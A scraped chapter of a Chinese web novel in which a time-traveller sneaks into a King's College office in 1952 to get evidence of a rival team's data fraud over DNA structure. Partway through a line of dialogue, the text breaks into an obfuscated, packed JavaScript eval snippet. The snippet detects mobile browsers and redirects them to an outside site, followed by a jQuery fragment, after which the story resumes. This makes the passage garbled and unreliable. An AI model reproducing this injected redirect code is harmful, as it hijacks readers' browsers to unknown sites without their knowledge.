289. 第37章
作品:《领主她今天卷了没》 1952年5月9日,上午10:30。
国王学院内某个隐蔽的角落里,白棘换了一套提前准备好的学院行政人员简装,戴上平光眼镜,手里拿着厚重的皮质文件夹。
这一身装束让她看起来像个办事员,走在学院里也不容易引起注意。
她谨慎地注意着周遭的动静,脑海中一边思考着最后截取到的那段情报:
“奥尔夫正在和某个心腹通话,抱怨冯·克莱普施要把他当替罪羊,他说‘大不了鱼死网破,我把保险箱里的东西全都抖出来,看他们到时候怎么收场!’。”
白棘站定身形,双眼紧盯着面前建筑二楼一扇半开的窗户,脑海中迅速闪过许多方案。
那扇窗户之内,便是刚才截获情报中提到的“奥尔夫”的办公室。
如今跃迁者手上只有些关于团队X背景的零散猜测,并无任何确凿的、足以将他们一击打败的关键性证据。
可是如果不能在离开前彻底摧毁团队X的公信力,那么就算富兰克林的成果得以正确发表,一旦跃迁者离开,对方定会疯狂反扑,富兰克林本人的处境,将会变得十分危险。
所以在早上意外截获那段情报后,跃迁者才紧急决定,让白棘冒险在早上工作时间潜入国王学院,想办法从那“奥尔夫”那里,得到更多证据。
这件事着实蹊跷,极有可能会是陷阱,毕竟那条情报截取到的时间点十分微妙,就在团队X准备公布结论的关键时刻,这种巧合发生的概率实在不高。
对手在此刻放出这个信息,想来是已经无计可施。
从凌晨最大的那次震荡开始,白棘明显能感觉到,主神的力量已经开始受到时间线规则限制,抵达防空洞后这种感觉更加明显,已经几乎没有非常规力量入侵,对手只能通过符合时代的手段对他们进行常规搜寻。
如今看来,正是由于对方无法对他们进行干涉,更找不到他们的踪迹,二十件却正在迫近,所以必须要用些跃迁者无法拒绝的东西,意图设法将她们引出来。
可不管怎样,对手这一次放出的这条信息确实太关键,所以即使明知有可能对方是在请君入瓮,白棘依然决定独自前往。
危险并不在于信息本身的真伪,关于这一点她们不难查到,在行动之前,富兰克林和阿莱西亚都已经小心确认过,能够确定的,是奥尔登此人,手中的确掌握了一些能揭示团队X内幕的证据。
对手不会蠢到试图用一个假信息来作为诱饵,只要那证据真实存在,她就必须要冒这个险。
跃迁者真正需要面对的危险在于,对方应该早已在国王学院这个区域内布置好了一切,虎视眈眈地等待跃迁者自投罗网。
那么除了万般小心外,只要进入这片区域,她就绝不能与阿莱西亚那边有任何联系,即使是跃迁者自己的通讯装置也不行。
毕竟如今没有编号011的反侦察系统,又离开了防空洞内的抗干扰装置,她们根本无法确定,自己是否会被主神窃听。
除白棘之外,另外三人将仍然继续在暗处,尽可能完善数据,为下午的绝地反击做好万全准备,两拨人会在约定的时间前往发布会现场汇合,这样能够最大化减少新照片和研究成果提前暴露的可能性。
如果白棘一人被对手抓获,并未按照约定准时出现,那么成果将依然按照原计划发表,不会因白棘的生死而受到影响。
这一点,所有跃迁者都早已有所准备。
冯·克莱斯特和他的核心团队已经前往会场做准备了,这种轰动整个学术界的成果发表,必然吸引了许多学者前往观摩,现在学院里比起平日,人已经不算多,这也给潜入制造了机会。
谨慎起见,即使换了一身不易引起注意的伪装,白棘也依然没有直接靠近奥尔夫的办公室。
环顾四周,白棘首先便锁定了办公室对面的建筑,她很快便潜入那座稍低矮的楼,小心挑了间离奥尔夫办公室最近的,暂时无人看管的档案室,通过档案室气窗,观察着外面的动静。
从这里看过去,就能发现奥尔夫办公室楼下,如今正坐着两个人,他们神色如常,看起来与周边的学者没什么两样,却在那片区域来回踱步,驻足了许久。
果然如跃迁者所想,这的确是一个陷阱,除了能被发现的这两个人,其他地方也一定还隐藏着许多耳目。
从这个角度能看到办公室的场景,那奥尔登如今正焦躁不安地来回踱步,不时抓起桌面上的电话,神色焦灼,看样子该是被那背后的力量当了诱饵,自己却并不自知。
也就是说,奥尔夫并不知道这个为跃迁者准备的陷阱,他的办公室不大,如今一目了然,不可能藏下第二个人。
如今唯一能确定安全的,便是奥尔夫自己的办公室,但很显然,这间办公室的信号被窃听了,这一点并不难办,只要能彻底消除信号来源即可。
思虑至此,白棘索性放弃了从正门进入。
她的身手本来就不差,如今又经过了许多次改造,利用隐蔽的消防梯和管道,便能避开楼下的耳目,轻松地从建筑外侧攀爬至奥尔夫办公室窗户旁。
看了一眼窗户里面,奥尔夫并未注意到窗户外的动静,他背对着窗户,正焦躁地在一个手提箱里翻找文件,嘴里还不时自言自语:
“……够了,真是受够了……”
她定了定神,用薄刀片拨开窗栓,悄无声息地滑入了办公室。
身后的异常让奥尔夫后知后觉地转身,眼睁睁看着白棘第一时间便扯掉了电话线,又顺手拉上窗帘,以阻挡住底下的视线。
她动作未停,紧接着快速检查了一遍整个房间,确认再无其他监听设备,这才表情平静地看向屋子中央不知所措的奥尔夫。
眼看着奥尔夫吓得差点叫出声,她一个箭步上前,眼疾手快地捂住了他的嘴,口中低声警告着:
“别出声!想活命就配合我。外面都是冯·克莱普施的人,而你,已经变成了他们的鱼饵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443229|141788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,知道吗?”
奥尔登脸色惨白,眼神快速地瞟向紧闭的窗帘,眼珠子转了好几圈,似是在竭力强迫自己镇定下来,口中却语无伦次地胡乱应付着:“你…你到底是谁?”
白棘索性不再伪装,她摘下眼镜,双目直视着眼前被迫镇定下来的奥尔夫,思虑片刻后,换了一种安抚的语调,试图让他稍平静些:
“我是能帮你的人,奥尔夫博士,我注意到你的焦躁,看来你应该已经意识到,冯·克莱普施不会保你,他会把数据篡改的所有责任都推到你一个人身上。
毕竟,你是唯一有动机,也有能力‘优化’数据的人,不是吗?”
听到这里,奥尔夫身形一震,动作稍平静了些,似是被踩中了要害,转过身双眼阴翳地紧盯着眼前的不速之客:
“数据篡改?……小姐,我不知道你究竟是谁,更不知道你在说什么,不管你是不是克莱普施的人,我只能告诉你,你说的任何事,都与我没有任何干系!”
白棘毫不退让,身体向前逼近一步,再说出口的话中却带着压迫与威胁:
“别妄想了,奥尔夫博士,三链模型无法被重复验证,更没有数据支持,这一点你我都心知肚明!
如果它被正式提出,只会有一个结果,就是因其荒谬而被最终推翻,无非只是早晚的问题。
到了那天,你猜猜第一个被推出来平息众怒的会是谁?难道会是那位声名显赫的冯·克莱普施教授?不不不,他现在正在去接受掌声的路上。
而你,可怜的奥尔夫,现在你正在这里守着你的‘保险箱’发抖,即使他们现在不动你,到了那天,你也只会是一只被钉死在科学史耻辱柱上的替罪羊罢了!”
说到这里,白棘刻意顿了顿语气,目光扫过办公室远处。
在那个被翻得一团凌乱的角落,有一个并不起眼的箱子,如今正静静躺在一堆文件之中。
注意到白棘的动作,奥尔夫下意识地挡在她的目光前面,而这却正好暴露了,那里面就是跃迁者想要的关键证据。
见此情形,白棘瞬间便明了了一切,她唇边带着志在必得的笑意,语气稍缓,对着面前惊慌失措的奥尔夫继续开解道:
“不瞒你说,我们手上已经有了正确结论——正是你最想要的双螺旋结构,我们有非常详尽的数据,以及无法辩驳的关键证据能够加以佐证,不用我说,你就能猜想到这些东西能对你们那可笑的‘模型玩具’造成多么毁灭性的打击。
我们不会放任三链模型占据主流共识,最迟今天下午,就在克莱普施的荒谬结论被公布的同时,这个结论的所有参与者都会名声扫地!
你的美梦做不了多久了,奥尔夫博士,现在就连学会要求你们拿出的关键数据你们都给不出,不是么?
那么你猜,假如正确结论被公布,即使那个可以算是欺诈的团队X背景再强大,面对唯一的真理,学会还愿不愿意,不惜名声尽毁也要保下你们那荒谬的结论?“